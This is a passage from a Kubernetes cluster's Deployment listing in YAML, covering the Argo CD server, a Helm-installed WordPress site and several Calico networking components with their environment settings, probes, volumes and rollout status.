          - name: ARGOCD_SERVER_DISABLE_AUTH
            valueFrom:
              configMapKeyRef:
                key: server.disable.auth
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_ENABLE_GZIP
            valueFrom:
              configMapKeyRef:
                key: server.enable.gzip
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_REPO_SERVER_TIMEOUT_SECONDS
            valueFrom:
              configMapKeyRef:
                key: server.repo.server.timeout.seconds
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_X_FRAME_OPTIONS
            valueFrom:
              configMapKeyRef:
                key: server.x.frame.options
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_CONTENT_SECURITY_POLICY
            valueFrom:
              configMapKeyRef:
                key: server.content.security.policy
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_REPO_SERVER_PLAINTEXT
            valueFrom:
              configMapKeyRef:
                key: server.repo.server.plaintext
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_REPO_SERVER_STRICT_TLS
            valueFrom:
              configMapKeyRef:
                key: server.repo.server.strict.tls
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_DEX_SERVER_PLAINTEXT
            valueFrom:
              configMapKeyRef:
                key: server.dex.server.plaintext
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_DEX_SERVER_STRICT_TLS
            valueFrom:
              configMapKeyRef:
                key: server.dex.server.strict.tls
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_TLS_MIN_VERSION
            valueFrom:
              configMapKeyRef:
                key: server.tls.minversion
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_TLS_MAX_VERSION
            valueFrom:
              configMapKeyRef:
                key: server.tls.maxversion
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_TLS_CIPHERS
            valueFrom:
              configMapKeyRef:
                key: server.tls.ciphers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_CONNECTION_STATUS_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: server.connection.status.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_OIDC_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: server.oidc.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_STATIC_ASSETS
            valueFrom:
              configMapKeyRef:
                key: server.staticassets
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APP_STATE_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: server.app.state.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_SERVER
            valueFrom:
              configMapKeyRef:
                key: redis.server
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_COMPRESSION
            valueFrom:
              configMapKeyRef:
                key: redis.compression
                name: argocd-cmd-params-cm
                optional: true
          - name: REDISDB
            valueFrom:
              configMapKeyRef:
                key: redis.db
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_USERNAME
            valueFrom:
              secretKeyRef:
                key: redis-username
                name: argocd-redis
                optional: true
          - name: REDIS_PASSWORD
            valueFrom:
              secretKeyRef:
                key: auth
                name: argocd-redis
                optional: false
          - name: REDIS_SENTINEL_USERNAME
            valueFrom:
              secretKeyRef:
                key: redis-sentinel-username
                name: argocd-redis
                optional: true
          - name: REDIS_SENTINEL_PASSWORD
            valueFrom:
              secretKeyRef:
                key: redis-sentinel-password
                name: argocd-redis
                optional: true
          - name: ARGOCD_DEFAULT_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: server.default.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_MAX_COOKIE_NUMBER
            valueFrom:
              configMapKeyRef:
                key: server.http.cookie.maxnumber
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_LISTEN_ADDRESS
            valueFrom:
              configMapKeyRef:
                key: server.listen.address
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_METRICS_LISTEN_ADDRESS
            valueFrom:
              configMapKeyRef:
                key: server.metrics.listen.address
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_OTLP_ADDRESS
            valueFrom:
              configMapKeyRef:
                key: otlp.address
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_OTLP_INSECURE
            valueFrom:
              configMapKeyRef:
                key: otlp.insecure
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_OTLP_HEADERS
            valueFrom:
              configMapKeyRef:
                key: otlp.headers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_OTLP_ATTRS
            valueFrom:
              configMapKeyRef:
                key: otlp.attrs
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_NAMESPACES
            valueFrom:
              configMapKeyRef:
                key: application.namespaces
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_ENABLE_PROXY_EXTENSION
            valueFrom:
              configMapKeyRef:
                key: server.enable.proxy.extension
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_K8SCLIENT_RETRY_MAX
            valueFrom:
              configMapKeyRef:
                key: server.k8sclient.retry.max
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_K8SCLIENT_RETRY_BASE_BACKOFF
            valueFrom:
              configMapKeyRef:
                key: server.k8sclient.retry.base.backoff
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_API_CONTENT_TYPES
            valueFrom:
              configMapKeyRef:
                key: server.api.content.types
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SERVER_WEBHOOK_PARALLELISM_LIMIT
            valueFrom:
              configMapKeyRef:
                key: server.webhook.parallelism.limit
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_NEW_GIT_FILE_GLOBBING
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.new.git.file.globbing
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_SCM_ROOT_CA_PATH
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.scm.root.ca.path
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ALLOWED_SCM_PROVIDERS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.allowed.scm.providers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_SCM_PROVIDERS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.scm.providers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_GITHUB_API_METRICS
            valueFrom:
              configMapKeyRef:
                key: applicationsetcontroller.enable.github.api.metrics
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_HYDRATOR_ENABLED
            valueFrom:
              configMapKeyRef:
                key: hydrator.enabled
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_SYNC_WITH_REPLACE_ALLOWED
            valueFrom:
              configMapKeyRef:
                key: server.sync.replace.allowed
                name: argocd-cmd-params-cm
                optional: true
          image: quay.io/argoproj/argocd:v3.1.6
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz?full=true
              port: server
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: server
          ports:
          - containerPort: 8080
            name: server
            protocol: TCP
          - containerPort: 8083
            name: metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz
              port: server
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /app/config/ssh
            name: ssh-known-hosts
          - mountPath: /app/config/tls
            name: tls-certs
          - mountPath: /app/config/server/tls
            name: argocd-repo-server-tls
          - mountPath: /app/config/dex/tls
            name: argocd-dex-server-tls
          - mountPath: /home/argocd
            name: plugins-home
          - mountPath: /shared/app/custom
            name: styles
          - mountPath: /tmp
            name: tmp
          - mountPath: /home/argocd/params
            name: argocd-cmd-params-cm
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: argocd-server
        serviceAccountName: argocd-server
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: plugins-home
        - emptyDir: {}
          name: tmp
        - configMap:
            defaultMode: 420
            name: argocd-ssh-known-hosts-cm
          name: ssh-known-hosts
        - configMap:
            defaultMode: 420
            name: argocd-tls-certs-cm
          name: tls-certs
        - configMap:
            defaultMode: 420
            name: argocd-styles-cm
            optional: true
          name: styles
        - name: argocd-repo-server-tls
          secret:
            defaultMode: 420
            items:
            - key: tls.crt
              path: tls.crt
            - key: tls.key
              path: tls.key
            - key: ca.crt
              path: ca.crt
            optional: true
            secretName: argocd-repo-server-tls
        - name: argocd-dex-server-tls
          secret:
            defaultMode: 420
            items:
            - key: tls.crt
              path: tls.crt
            - key: ca.crt
              path: ca.crt
            optional: true
            secretName: argocd-dex-server-tls
        - configMap:
            defaultMode: 420
            items:
            - key: server.profile.enabled
              path: profiler.enabled
            name: argocd-cmd-params-cm
            optional: true
          name: argocd-cmd-params-cm
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-21T20:15:19Z"
      lastUpdateTime: "2025-09-21T20:15:39Z"
      message: ReplicaSet "argocd-server-6475d67dbd" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:25:08Z"
      lastUpdateTime: "2025-11-29T13:25:08Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: artemis
      meta.helm.sh/release-namespace: artemis
    creationTimestamp: "2025-10-19T12:06:46Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: artemis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: wordpress
      app.kubernetes.io/version: 6.8.3-apache
      helm.sh/chart: wordpress-0.14.5
    name: artemis-wordpress
    namespace: artemis
    resourceVersion: "18008022"
    uid: b7331772-ecf7-4127-8f30-915811de38da
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: artemis
        app.kubernetes.io/name: wordpress
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/extendedconfig: e2fb52d5d3a2a256f890ebee9ee09cab2b352dbcc9624d02b4ea8fff40880bd7
          checksum/secureconfig: 0cff4b87e35537432f15c01bba6eb48ea3e09e7bfcec7449e7d4f9f806172dba
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: artemis
          app.kubernetes.io/name: wordpress
      spec:
        containers:
        - envFrom:
          - secretRef:
              name: artemis-wordpress
          image: docker.io/wordpress:6.8.3-apache
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 5
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-admin/install.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          name: wordpress
          ports:
          - containerPort: 8000
            name: http
            protocol: TCP
          readinessProbe:
            failureThreshold: 5
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-login.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            privileged: false
            readOnlyRootFilesystem: true
          startupProbe:
            failureThreshold: 30
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-login.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/www/html
            name: wordpress-vol
          - mountPath: /tmp
            name: tmp
          - mountPath: /var/run
            name: run
          - mountPath: /etc/apache2/ports.conf
            name: extended
            subPath: ports.conf
          - mountPath: /etc/apache2/000-default.conf
            name: extended
            subPath: 000-default.conf
          - mountPath: /usr/local/etc/php/conf.d/custom.ini
            name: extended
            subPath: custom.ini
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 33
          runAsNonRoot: true
          runAsUser: 33
        serviceAccount: default
        serviceAccountName: default
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp
        - emptyDir: {}
          name: run
        - configMap:
            defaultMode: 420
            name: artemis-wordpress-extended
          name: extended
        - emptyDir: {}
          name: wordpress-vol
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-10-19T12:06:46Z"
      lastUpdateTime: "2025-10-19T12:08:17Z"
      message: ReplicaSet "artemis-wordpress-574d78556d" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T11:13:46Z"
      lastUpdateTime: "2025-11-29T11:13:46Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
    creationTimestamp: "2025-10-19T16:12:27Z"
    generation: 1
    labels:
      app.kubernetes.io/name: calico-kube-controllers
      k8s-app: calico-kube-controllers
    name: calico-kube-controllers
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "18034309"
    uid: fe2c07e0-d74b-482a-841c-20c6af9afa56
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        k8s-app: calico-kube-controllers
    strategy:
      type: Recreate
    template:
      metadata:
        annotations:
          hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
          tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
        creationTimestamp: null
        labels:
          app.kubernetes.io/name: calico-kube-controllers
          k8s-app: calico-kube-controllers
        name: calico-kube-controllers
        namespace: calico-system
      spec:
        containers:
        - env:
          - name: KUBE_CONTROLLERS_CONFIG_NAME
            value: default
          - name: DATASTORE_TYPE
            value: kubernetes
          - name: ENABLED_CONTROLLERS
            value: node,loadbalancer
          - name: DISABLE_KUBE_CONTROLLERS_CONFIG_API
            value: "false"
          - name: KUBERNETES_SERVICE_HOST
            value: 10.96.0.1
          - name: KUBERNETES_SERVICE_PORT
            value: "443"
          - name: CA_CRT_PATH
            value: /etc/pki/tls/certs/tigera-ca-bundle.crt
          image: quay.io/calico/kube-controllers:v3.30.4
          imagePullPolicy: IfNotPresent
          livenessProbe:
            exec:
              command:
              - /usr/bin/check-status
              - -l
            failureThreshold: 6
            initialDelaySeconds: 10
            periodSeconds: 60
            successThreshold: 1
            timeoutSeconds: 10
          name: calico-kube-controllers
          readinessProbe:
            exec:
              command:
              - /usr/bin/check-status
              - -r
            failureThreshold: 3
            periodSeconds: 30
            successThreshold: 1
            timeoutSeconds: 10
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsGroup: 0
            runAsNonRoot: true
            runAsUser: 999
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/pki/tls/certs
            name: tigera-ca-bundle
            readOnly: true
          - mountPath: /etc/pki/tls/cert.pem
            name: tigera-ca-bundle
            readOnly: true
            subPath: ca-bundle.crt
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        priorityClassName: system-cluster-critical
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: calico-kube-controllers
        serviceAccountName: calico-kube-controllers
        terminationGracePeriodSeconds: 30
        tolerations:
        - effect: NoSchedule
          key: node-role.kubernetes.io/master
        - effect: NoSchedule
          key: node-role.kubernetes.io/control-plane
        - key: CriticalAddonsOnly
          operator: Exists
        volumes:
        - configMap:
            defaultMode: 420
            name: tigera-ca-bundle
          name: tigera-ca-bundle
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-10-19T16:12:27Z"
      lastUpdateTime: "2025-10-19T16:18:05Z"
      message: ReplicaSet "calico-kube-controllers-d595576c" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:25:26Z"
      lastUpdateTime: "2025-11-29T13:25:26Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "2"
    creationTimestamp: "2025-10-19T16:12:26Z"
    generation: 3
    labels:
      app.kubernetes.io/name: calico-typha
      k8s-app: calico-typha
    name: calico-typha
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "18033427"
    uid: 434ee0a3-b582-47a5-8511-fca10843a14a
  spec:
    progressDeadlineSeconds: 600
    replicas: 2
    revisionHistoryLimit: 2
    selector:
      matchLabels:
        k8s-app: calico-typha
    strategy:
      rollingUpdate:
        maxSurge: 100%
        maxUnavailable: 1
      type: RollingUpdate
    template:
      metadata:
        annotations:
          hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
          tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
          tigera-operator.hash.operator.tigera.io/typha-certs: 229930b535eada8da6b599d783237feff23e7b7c
        creationTimestamp: null
        labels:
          app.kubernetes.io/name: calico-typha
          k8s-app: calico-typha
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchExpressions:
                  - key: k8s-app
                    operator: In
                    values:
                    - calico-typha
                topologyKey: topology.kubernetes.io/zone
              weight: 1
        containers:
        - env:
          - name: TYPHA_LOGSEVERITYSCREEN
            value: info
          - name: TYPHA_LOGFILEPATH
            value: none
          - name: TYPHA_LOGSEVERITYSYS
            value: none
          - name: TYPHA_CONNECTIONREBALANCINGMODE
            value: kubernetes
          - name: TYPHA_DATASTORETYPE
            value: kubernetes
          - name: TYPHA_HEALTHENABLED
            value: "true"
          - name: TYPHA_HEALTHPORT
            value: "9098"
          - name: TYPHA_K8SNAMESPACE
            value: calico-system
          - name: TYPHA_CAFILE
            value: /etc/pki/tls/certs/tigera-ca-bundle.crt
          - name: TYPHA_SERVERCERTFILE
            value: /typha-certs/tls.crt
          - name: TYPHA_SERVERKEYFILE
            value: /typha-certs/tls.key
          - name: TYPHA_SHUTDOWNTIMEOUTSECS
            value: "300"
          - name: TYPHA_CLIENTCN
            value: typha-client
          - name: KUBERNETES_SERVICE_HOST
            value: 10.96.0.1
          - name: KUBERNETES_SERVICE_PORT
            value: "443"
          image: quay.io/calico/typha:v3.30.4
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              host: localhost
              path: /liveness
              port: 9098
              scheme: HTTP
            periodSeconds: 60
            successThreshold: 1
            timeoutSeconds: 10
          name: calico-typha
          ports:
          - containerPort: 5473
            name: calico-typha
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              host: localhost
              path: /readiness
              port: 9098
              scheme: HTTP
            periodSeconds: 30
            successThreshold: 1
            timeoutSeconds: 10
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsGroup: 10001
            runAsNonRoot: true
            runAsUser: 10001
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/pki/tls/certs
            name: tigera-ca-bundle
            readOnly: true
          - mountPath: /etc/pki/tls/cert.pem
            name: tigera-ca-bundle
            readOnly: true
            subPath: ca-bundle.crt
          - mountPath: /typha-certs
            name: typha-certs
            readOnly: true
        dnsPolicy: ClusterFirst
        hostNetwork: true
        nodeSelector:
          kubernetes.io/os: linux
        priorityClassName: system-cluster-critical
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: calico-typha
        serviceAccountName: calico-typha
        terminationGracePeriodSeconds: 300
        tolerations:
        - key: CriticalAddonsOnly
          operator: Exists
        - effect: NoSchedule
          operator: Exists
        - effect: NoExecute
          operator: Exists
        volumes:
        - configMap:
            defaultMode: 420
            name: tigera-ca-bundle
          name: tigera-ca-bundle
        - name: typha-certs
          secret:
            defaultMode: 420
            secretName: typha-certs
  status:
    availableReplicas: 2
    conditions:
    - lastTransitionTime: "2025-10-19T16:12:26Z"
      lastUpdateTime: "2025-10-19T16:25:21Z"
      message: ReplicaSet "calico-typha-68b6598cf8" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-03T14:06:40Z"
      lastUpdateTime: "2025-11-03T14:06:40Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 3
    readyReplicas: 2
    replicas: 2
    updatedReplicas: 2
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      tigera-operator.hash.operator.tigera.io/goldmane-key-pair: 48aa69c7aba43ad235e764c744932f36e421fa2c
    creationTimestamp: "2025-10-19T16:26:42Z"
    generation: 1
    labels:
      app.kubernetes.io/name: goldmane
      k8s-app: goldmane
    name: goldmane
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Goldmane
      name: default
      uid: 5994cdc7-d4c2-4413-bf3b-9967cd01464d
    resourceVersion: "18046520"
    uid: c4b05a78-48b1-4798-9dc7-72672ea1835e
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        k8s-app: goldmane
    strategy:
      type: Recreate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/name: goldmane
          k8s-app: goldmane
        name: goldmane
      spec:
        containers:
        - env:
          - name: LOG_LEVEL
            value: INFO
          - name: PORT
            value: "7443"
          - name: SERVER_CERT_PATH
            value: /goldmane-key-pair/tls.crt
          - name: SERVER_KEY_PATH
            value: /goldmane-key-pair/tls.key
          - name: CA_CERT_PATH
            value: /etc/pki/tls/certs/tigera-ca-bundle.crt
          - name: PUSH_URL
            value: https://guardian.calico-system.svc.cluster.local:443/api/v1/flows/bulk
          - name: FILE_CONFIG_PATH
            value: /config/config.json
          - name: HEALTH_ENABLED
            value: "true"
          image: quay.io/calico/goldmane:v3.30.4
          imagePullPolicy: IfNotPresent
          livenessProbe:
            exec:
              command:
              - /health
              - -live
            failureThreshold: 3
            periodSeconds: 60
            successThreshold: 1
            timeoutSeconds: 5
          name: goldmane
          readinessProbe:
            exec:
              command:
              - /health
              - -ready
            failureThreshold: 3
            periodSeconds: 30
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsGroup: 10001
            runAsNonRoot: true
            runAsUser: 10001
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /config
            name: config
            readOnly: true
          - mountPath: /etc/pki/tls/certs
            name: goldmane-ca-bundle
            readOnly: true
          - mountPath: /goldmane-key-pair
            name: goldmane-key-pair
            readOnly: true
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: goldmane
        serviceAccountName: goldmane
        terminationGracePeriodSeconds: 30
        tolerations:
        - effect: NoSchedule
          key: node-role.kubernetes.io/master
        - effect: NoSchedule
          key: node-role.kubernetes.io/control-plane
        - key: CriticalAddonsOnly
          operator: Exists
        volumes:
        - configMap:
            defaultMode: 420
            name: goldmane
          name: config
        - configMap:
            defaultMode: 420
            name: goldmane-ca-bundle
          name: goldmane-ca-bundle
        - name: goldmane-key-pair
          secret:
            defaultMode: 420
            secretName: goldmane-key-pair
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-10-19T16:26:42Z"
      lastUpdateTime: "2025-10-19T16:27:34Z"
      message: ReplicaSet "goldmane-74cb5d9557" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T14:25:52Z"
      lastUpdateTime: "2025-11-29T14:25:52Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
    creationTimestamp: "2025-10-19T16:26:57Z"
    generation: 1
    labels:
      app.kubernetes.io/name: whisker
      k8s-app: whisker
    name: whisker
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Whisker
      name: default
      uid: 5f1effd2-9eab-4639-b80e-b5f40d365ef0
    resourceVersion: "18033637"
    uid: 60718f56-3ae4-4cf5-bf5a-3ace1eb78367
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        k8s-app: whisker
    strategy:
      type: Recreate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/name: whisker
          k8s-app: whisker
        name: whisker
      spec:
        containers:
        - env:
          - name: LOG_LEVEL
            value: INFO
          - name: CALICO_VERSION
            value: v3.30.4
          - name: CLUSTER_ID
            value: 4340eeee73184b3e9a0bb5daa080f23d
          - name: CLUSTER_TYPE
            value: k8s,bgp,kubeadm,kdd,typha,operator
          - name: NOTIFICATIONS
            value: Enabled
          image: quay.io/calico/whisker:v3.30.4
          imagePullPolicy: IfNotPresent
          name: whisker
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsGroup: 10001
            runAsNonRoot: true
            runAsUser: 10001
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        - env:
          - name: LOG_LEVEL
            value: INFO
          - name: PORT
            value: "3002"
          - name: GOLDMANE_HOST
            value: goldmane.calico-system.svc.cluster.local:7443
          - name: TLS_CERT_PATH
            value: /whisker-backend-key-pair/tls.crt
          - name: TLS_KEY_PATH
            value: /whisker-backend-key-pair/tls.key
          image: quay.io/calico/whisker-backend:v3.30.4
          imagePullPolicy: IfNotPresent
          name: whisker-backend
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsGroup: 10001
            runAsNonRoot: true
            runAsUser: 10001
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /whisker-backend-key-pair
            name: whisker-backend-key-pair
            readOnly: true
          - mountPath: /etc/pki/tls/certs
            name: whisker-ca-bundle
            readOnly: true
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: whisker
        serviceAccountName: whisker
        terminationGracePeriodSeconds: 30
        tolerations:
        - effect: NoSchedule
          key: node-role.kubernetes.io/master
        - effect: NoSchedule
          key: node-role.kubernetes.io/control-plane
        - key: CriticalAddonsOnly
          operator: Exists
        volumes:
        - name: whisker-backend-key-pair
          secret:
            defaultMode: 420
            secretName: whisker-backend-key-pair
        - configMap:
            defaultMode: 420
            name: whisker-ca-bundle
          name: whisker-ca-bundle
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-10-19T16:26:58Z"
      lastUpdateTime: "2025-10-19T16:27:23Z"
      message: ReplicaSet "whisker-796cf9b5d7" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
